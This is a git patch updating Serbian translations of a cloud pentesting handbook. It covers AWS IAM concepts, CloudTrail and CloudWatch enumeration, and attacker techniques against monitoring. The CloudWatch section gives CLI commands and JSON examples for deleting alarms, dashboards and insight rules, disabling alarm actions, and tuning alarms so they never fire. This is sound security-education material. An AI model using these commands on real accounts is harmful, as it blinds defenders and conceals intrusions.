From 4996957bb04865606193ff7e1cff3d668b845726 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 11 Feb 2025 17:17:58 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 62 +++++++++---------- .../aws-cloudtrail-enum.md | 18 +++--- .../aws-cloudwatch-enum.md | 36 +++++------ .../az-cloud-shell-persistence.md | 8 +-- .../az-blob-storage-post-exploitation.md | 4 +- .../az-cosmosDB-post-exploitation.md | 8 +-- .../az-file-share-post-exploitation.md | 4 +- .../az-logic-apps-post-exploitation.md | 2 +- .../az-mysql-post-exploitation.md | 6 +- .../az-postgresql-post-exploitation.md | 2 +- .../az-sql-post-exploitation.md | 6 +- .../az-cosmosDB-privesc.md | 2 +- .../az-functions-app-privesc.md | 26 ++++---- .../az-key-vault-privesc.md | 10 +++ .../az-logic-apps-privesc.md | 4 +- .../az-mysql-privesc.md | 2 +- .../az-postgresql-privesc.md | 4 +- .../az-servicebus-privesc.md | 4 +- .../az-storage-privesc.md | 12 ++-- .../azure-security/az-services/az-azuread.md | 40 ++++++------ .../az-services/az-cloud-shell.md | 4 +- .../azure-security/az-services/az-cosmosDB.md | 6 +- .../az-services/az-file-shares.md | 30 ++++----- .../az-services/az-function-apps.md | 28 ++++----- .../az-services/az-logic-apps.md | 8 ++- .../azure-security/az-services/az-mysql.md | 10 +-- .../az-services/az-postgresql.md | 8 +-- .../az-services/az-queue-enum.md | 4 +- .../az-services/az-servicebus-enum.md | 13 ++-- .../azure-security/az-services/vms/README.md | 20 +++--- .../az-services/vms/az-azure-network.md | 38 ++++++------ .../kubernetes-securitycontext-s.md | 16 ++--- 32 files changed, 229 insertions(+), 216 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index a0e5a470c..8655e7833 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -48,9 +48,9 @@ Jedini način da se to zaobiđe je da se kompromituje i **glavni nalog** koji ko > [!WARNING] > Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu. -SCP primeri: +Primeri SCP-a: -- Odbijanje root naloga u potpunosti +- Odbijanje glavnog naloga u potpunosti - Dozvoliti samo specifične regione - Dozvoliti samo usluge sa bele liste - Odbijanje GuardDuty, CloudTrail i S3 Public Block Access od @@ -102,7 +102,7 @@ Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbega ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i kredencijala (lozinka i do dva pristupna ključa). +IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i akreditiva (lozinka i do dva pristupna ključa). Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom. @@ -114,7 +114,7 @@ Korisnici mogu imati **MFA omogućeno za prijavu** putem konzole. API tokeni kor - **ID tajnog pristupnog ključa**: 40 nasumičnih velikih i malih karaktera: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nije moguće povratiti izgubljene ID-ove tajnog pristupnog ključa). Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\ -_Kreirajte novi pristupni ključ -> Primijenite novi ključ na sistem/aplikaciju -> označite originalni kao neaktivan -> Testirajte i verifikujte da novi pristupni ključ radi -> Obrišite stari pristupni ključ_ +_Kreirajte novi pristupni ključ -> Primijenite novi ključ na sistem/aplikaciju -> označite originalni kao neaktivan -> Testirajte i proverite da li novi pristupni ključ radi -> Obrišite stari pristupni ključ_ ### MFA - Višefaktorska autentifikacija @@ -128,7 +128,7 @@ Politike sa MFA uslovima mogu se povezati sa sledećim: - Politika poverenja IAM uloge koja može biti preuzeta od strane korisnika Ako želite da **pristupite putem CLI** resursu koji **proverava MFA**, morate pozvati **`GetSessionToken`**. To će vam dati token sa informacijama o MFA.\ -Napomena da **`AssumeRole` kredencijali ne sadrže ove informacije**. +Napomena da **`AssumeRole` akreditivi ne sadrže ove informacije**. ```bash aws sts get-session-token --serial-number --token-code ``` @@ -149,17 +149,17 @@ Evo nekih važnih karakteristika korisničkih grupa: ### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. +IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve kredencijale** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**. #### AWS Security Token Service (STS) -AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija akreditiva**. Specijalno je prilagođen za: +AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija kredencijala**. Specijalno je prilagođen za: -### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Privremeni kredencijali u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** sa ograničenim akreditivima. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. +**Privremeni kredencijali se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene kredencijale koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih kredencijala. Prednost privremenih kredencijala je što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su kredencijali validni. ### Politike @@ -168,10 +168,10 @@ AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privre Koriste se za dodeljivanje dozvola. Postoje 2 tipa: - AWS upravljane politike (prekonfigurisane od strane AWS-a) -- Politike upravljane od strane korisnika: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje. +- Politike koje upravlja korisnik: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje. Po **podrazumevanju, pristup** je **odbijen**, pristup će biti odobren ako je eksplicitna uloga navedena.\ -Ako **jedna "Deny" postoji, ona će nadjačati "Allow"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni). +Ako **jedan "Deny" postoji, on će nadjačati "Allow"**, osim za zahteve koji koriste korenske sigurnosne kredencijale AWS naloga (koji su podrazumevano dozvoljeni). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -194,33 +194,33 @@ Ako **jedna "Deny" postoji, ona će nadjačati "Allow"**, osim za zahteve koji k ] } ``` -[global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline Policies +#### Inline Politike -Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa drugim politikama.\ -Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. +Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\ +Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno prikačene na pogrešan identitet. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. -#### Resource Bucket Policies +#### Politike Resursnog Kante Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**. -Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im daje pristup, tada su im dozvoljeni. +Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im daje pristup, tada su dozvoljeni. -### IAM Boundaries +### IAM Granice IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi. -Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. +Granica je samo politika prikačena za korisnika koja **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. -**Ovo**, **SCPs** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. +**Ovo**, **SCP-ovi** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. -### Session Policies +### Politike Sesije -Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). +Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one navedene u politici** (maksimalne dozvole su one koje uloga ima). -Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvole samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana. +Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one navedene u politici sesije u slučaju da sesija bude kompromitovana. ```bash aws sts assume-role \ --role-arn \ @@ -263,14 +263,14 @@ Da bi se omogućio pristup korisniku/grupi Identitetnog Centra do naloga, **SAML #### AwsSSOInlinePolicy -Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati te dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. +Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati ove dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInlinePolicy`**, to **ne znači da imaju iste dozvole**. ### Cross Account Trusts and Roles -**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ -Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate nešto generičko** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. +**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim, **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između AWS naloga koje posedujete nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ +Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. ### AWS Simple AD @@ -290,10 +290,10 @@ Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva ### Ostale IAM opcije -- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinkom. -- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i jednom svaka **četiri sata**. +- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinku. +- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**. -AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. +AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešenu kontrolu pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. ### IAM ID Prefiksi @@ -347,7 +347,7 @@ region = eu-west-2 ``` Ako treba da pristupite **različitim AWS nalozima** i vašem profilu je dato pravo da **pretpostavi ulogu unutar tih naloga**, ne morate ručno pozivati STS svaki put (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurisati akreditive. -Možete koristiti `~/.aws/config` datoteku da[ **naznačite koje uloge da pretpostavite**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a zatim koristiti parametar `--profile` kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ +Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti `--profile` parametar kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ Primer konfiguracione datoteke: ``` [profile acc2] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index b6734a997..6ce918e94 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trag promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima. +AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trail promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima. Svaki zabeleženi događaj sadrži: @@ -19,9 +19,9 @@ Svaki zabeleženi događaj sadrži: - Parametri zahteva: `requestParameters` - Elementi odgovora: `responseElements` -Događaji se upisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\ -CloudTrail logovi se mogu **agregirati preko naloga i regiona.**\ -CloudTrail omogućava korišćenje **integriteta log datoteka kako bi se moglo verifikovati da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.\ +Događaji se upisuju u novu log datoteku **približno svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 približno 15 minuta nakon**.\ +CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\ +CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da vaše log datoteke nisu promenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.\ Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi. Logovi se čuvaju u S3 bucket-u. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima. @@ -44,7 +44,7 @@ Pored toga, **digest datoteke (za proveru integriteta datoteka)** će biti unuta ### Agregiranje logova iz više naloga -- Kreirajte Trail u AWS nalogu gde želite da se log datoteke isporuče +- Kreirajte Trail u AWS nalogu u koji želite da se log datoteke isporuče - Primijenite dozvole na odredišni S3 bucket omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup - Kreirajte novi Trail u drugim AWS nalozima i izaberite da koristite kreirani bucket u koraku 1 @@ -70,7 +70,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Logs to CloudWatch **CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.**\ -Napomena: da bi CloudTrail mogao slati logove u CloudWatch, potrebno je kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: +Imajte na umu da je za omogućavanje CloudTrail-u da šalje logove u CloudWatch potrebno kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: - CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova - PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream @@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store --query-id +### CloudWatch Logovi Omogućava **agregaciju i praćenje logova iz aplikacija** i sistema iz **AWS usluga** (uključujući CloudTrail) i **iz aplikacija/sistema** (**CloudWatch Agent** može biti instaliran na hostu). Logovi se mogu **čuvati neodređeno** (u zavisnosti od podešavanja Log Grupe) i mogu se eksportovati. **Elementi**: | Termin | Definicija | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Grupa** | **Kolekcija log streamova** koji dele iste postavke zadržavanja, praćenja i kontrole pristupa | +| **Log Grupa** | **Kolekcija log stream-ova** koji dele iste postavke zadržavanja, praćenja i kontrole pristupa | | **Log Stream** | Sekvenca **log događaja** koji dele **isti izvor** | | **Filteri pretplate** | Definišu **filter obrazac koji se poklapa sa događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream ili Lambda funkciju | ### CloudWatch Praćenje & Događaji -CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (dok **detaljni** to radi **svake 1 minute**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\ +CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (detaljni to radi **svakih 1 minut**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\ U tom slučaju, CloudWatch može biti spreman da pošalje događaj i izvrši neke automatske akcije (AWS lambda funkcije, SNS teme, SQS redovi, Kinesis Streams) ### Instalacija agenta @@ -137,7 +137,7 @@ Možete instalirati agente unutar vaših mašina/kontejnera kako biste automatsk - **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iznutra EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage - **Konfigurišite** i **pokrenite** CloudWatch Agent -Log grupa ima mnogo streamova. Stream ima mnogo događaja. I unutar svakog streama, događaji su zagarantovani da budu u redosledu. +Log grupa ima mnogo stream-ova. Stream ima mnogo događaja. I unutar svakog stream-a, događaji su zagarantovani da budu u redosledu. ## Enumeracija ```bash @@ -218,7 +218,7 @@ aws events list-event-buses Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili da utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene reakcije na stvarne incidente. -Pored toga, sa dozvolom **`cloudwatch:PutCompositeAlarm`**, napadač bi mogao da kreira petlju ili ciklus kompozitnih alarma, gde kompozitni alarm A zavisi od kompozitnog alarma B, a kompozitni alarm B takođe zavisi od kompozitnog alarma A. U ovom scenariju, nije moguće obrisati nijedan kompozitni alarm koji je deo ciklusa jer uvek postoji kompozitni alarm koji zavisi od alarma koji želite da obrišete. +Pored toga, sa dozvolom **`cloudwatch:PutCompositeAlarm`**, napadač bi mogao da kreira petlju ili ciklus kompozitnih alarmâ, gde kompozitni alarm A zavisi od kompozitnog alarma B, a kompozitni alarm B takođe zavisi od kompozitnog alarma A. U ovom scenariju, nije moguće obrisati nijedan kompozitni alarm koji je deo ciklusa jer uvek postoji kompozitni alarm koji zavisi od alarma koji želite da obrišete. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim: - Ovaj metrik alarm prati prosečnu CPU upotrebu specifične EC2 instance, ocenjuje metriku svake 300 sekundi i zahteva 6 evaluacionih perioda (ukupno 30 minuta). Ako prosečna CPU upotreba premaši 60% u najmanje 4 od ovih perioda, alarm će se aktivirati i poslati obaveštenje na određenu SNS temu. -- Modifikovanjem Threshold na više od 99%, postavljanjem Period na 10 sekundi, Evaluation Periods na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm. +- Modifikovanjem Praga na više od 99%, postavljanjem Perioda na 10 sekundi, Evaluacionih Perioda na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640 takođe, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim: ``` {{#endtab }} -{{#tab name="Izmenjeni Metrika Alarm" }} +{{#tab name="Modified Metric Alarm" }} ```json { "Namespace": "AWS/EC2", @@ -283,7 +283,7 @@ Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim: ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Brisanjem akcija alarma, napadač bi mogao sprečiti kritične obaveštenja i automatske odgovore da budu aktivirani kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje aktivnosti automatskog skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente. +Brisanjem akcija alarma, napadač bi mogao sprečiti kritične obaveštenja i automatske odgovore da budu aktivirani kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje automatskih aktivnosti skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente. Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zlonamerne aktivnosti ili kritične sistemske kvarove. @@ -323,7 +323,7 @@ Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. O ``` {{#endtab }} -{{#tab name="Modifikovani Metrika Anomalija Detektor" }} +{{#tab name="Modifikovani Detektor Anomalija Metričkih Podataka" }} ```json { "SingleMetricAnomalyDetector": { @@ -360,21 +360,21 @@ Napadač bi mogao da kompromituje mogućnosti praćenja i vizualizacije organiza aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` -**Potencijalni uticaj**: Gubitak vidljivosti nad monitoringom i obmanjujuće informacije. +**Potencijalni uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije. -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti monitoringa, ostavljajući sistem slep za probleme sa performansama i bezbednosnim pretnjama. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. +Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i 